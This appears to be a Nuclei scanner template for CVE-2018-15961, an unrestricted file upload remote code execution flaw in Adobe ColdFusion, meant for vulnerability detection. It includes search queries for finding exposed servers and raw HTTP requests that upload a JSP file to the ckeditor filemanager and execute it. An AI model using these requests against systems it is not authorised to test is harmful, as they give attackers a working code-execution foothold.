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Adobe ColdFusion - Unrestricted File Upload Remote Code Execution

🗓️ 11 Jul 2026 00:22:50Reported by ProjectDiscoveryType 
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Adobe ColdFusion - Unrestricted File Upload Remote Code Execution | CVE-2018-1596

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id: CVE-2018-15961

info:
  name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
  author: SkyLark-Lab,ImNightmaree
  severity: critical
  description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
  impact: |
    Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15961
    - https://github.com/xbufu/CVE-2018-15961
    - https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
    - http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
    - http://www.securitytracker.com/id/1041621
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-15961
    cwe-id: CWE-434
    epss-score: 0.9995
    epss-percentile: 0.99974
    cpe: cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------24464570528145

        -----------------------------24464570528145
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: image/jpeg

        <%@ page import="java.util.*,java.io.*"%>
        <%@ page import="java.security.MessageDigest"%>
        <%
        String cve = "CVE-2018-15961";
        MessageDigest alg = MessageDigest.getInstance("MD5");
        alg.reset();
        alg.update(cve.getBytes());
        byte[] digest = alg.digest();
        StringBuffer hashedpasswd = new StringBuffer();
        String hx;
        for (int i=0;i<digest.length;i++){
          hx =  Integer.toHexString(0xFF & digest[i]);
          if(hx.length() == 1){hx = "0" + hx;}
          hashedpasswd.append(hx);
        }
        out.println(hashedpasswd.toString());
        %>
        -----------------------------24464570528145
        Content-Disposition: form-data; name="path"

        {{randstr}}.jsp
        -----------------------------24464570528145--
      - |
        GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ddc6a3c079e995836d76b97ce0180a30e1edf1e0fae30a27559f44a21a55ed6d022100907220cf823971946ebbe698062ae67822be13e111c98ea8e0a3c3f067321c4d:922c64590222798bb761d5b6d8e72950

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